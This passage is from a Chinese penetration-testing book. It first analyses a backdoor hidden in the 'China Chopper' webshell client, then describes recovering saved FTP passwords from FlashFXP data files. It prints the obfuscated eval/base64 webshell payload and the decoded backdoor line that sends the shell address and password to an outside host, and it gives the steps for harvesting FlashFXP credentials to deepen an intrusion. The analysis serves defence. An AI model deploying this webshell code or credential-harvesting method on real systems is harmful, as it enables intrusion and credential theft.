kZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6M
G5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwI
ik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNob
ygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkR
D09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9X
HQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJ
EwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb
25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0Z
XVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyR
SLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGl
lKCk7

图7-174 查看数据包

05 对URL数据进行解包

将上面获取的数据复制到Encode中，如图7-175所示。选择“URI”类型，单击“Decoder”按钮，可对输入框中的内容进行编码。

图7-175 对URL数据进行解码

解码后的数据如下。

x=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&amp;z0=QGV2YWwoYmFzZTY0X2R
lY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2R
NZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2F
TNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1Z
TV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OSc
pKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0B
zZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9
TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZ
FUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0
iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSR
SLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2l
kJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHV
bJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHV
zcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

将解码后的“z0=”后面的数据复制到Encode的输入框中，选择“BASE64”选项，如图7-176所示，获取第1次Base64解码后的数据，具体如下，加粗的部分还存在Base64加密。

@eval(base64_decode('aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWt
lJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJ
WRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSg
kX1BPU1QpKTt9'));@ini_set("display_errors","0");@set_time_limit(0);@set_
magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAM
E"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(su
bstr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.=
"{$L}:";}$R.="\t";$u=(function_exists  ('posix_getegid'))?@posix_getpwuid
(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_un
ame();$R.="({$usr})";print $R;;echo("|<-");die();

将以上代码中加粗显示的部分复制到Encode程序的输入框中，选择“BASE64”选项进行解密，如图7-177所示，获取其后门地址代码如下。

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.api.com.de
/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&amp;Pass='.ke
y($_POST));}

其中，“http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER ['REQUEST_URI'].'&Pass='.key($_POST)”为后门接收地址。黑客在打开WebShell时会自动将Shell地址和密码发送到网站 www.api.com.de。

图7-176 第一次Base64解码

图7-177 获取后门地址

7.18.4 小结

通过上面的分析，可以了解到“中国菜刀”留有后门，用户在使用该工具的过程中会自动将WebShell记录发送到指定网站。因此，使用网上下载的工具时一定要留心，最好将其放在虚拟机中运行。此外，要尽量到官方网站下载工具软件。

参考文章

《Fireeye技术剖析中国菜刀》，http://www.freebuf.com/articles/web/11687.html

《Putty汉化版被爆存在后门可窃取管理员账号》，http://os.51cto.com/art/201202/314269.htm

7.19 FlashFXP密码的获取

FlashFXP是一款FTP管理软件，用户通过FlashFXP连接FTP服务器，使用文件上传和下载等功能。FlashFXP可以将站点记录在本地，保存其连接时的账号和密码，这些配置信息会在软件的当前目录下保存。如图7-178所示，quick.dat对应于快速连接信息，Sites.dat对应于站点信息，favorite.dat对应于收藏信息，Bookmarks.dat对应于书签信息。如果在渗透中找到这些文件，可以将其下载到本地进行还原，获取其中的账号和密码，从而进一步实施渗透和控制。

图7-178 下载FlashFXP数据文件

7.19.1 修改设置

运行FlashFXP，单击“选项”菜单，如图7-179所示，勾选“在选择密码字段时展现密码”复选框。

图7-179 修改密码显示设置

7.19.2 查看并获取密码

依次单击“站点”→“站点管理器”选项，打开“站点管理器”窗口，如图7-180所示，在“快速连接”目录中选择一条记录，窗口右边会显示相关信息，将光标移动到“密码”输入框即可获取密码明文。

图7-180 获取密码

7.19.3 查看quick.dat文件

使用“记事本”程序打开quick.dat文件，如图7-181所示，其中有IP地址、端口、用户名及密码等信息，这里的密码是经过加密的。

图7-181 查看quick.dat文件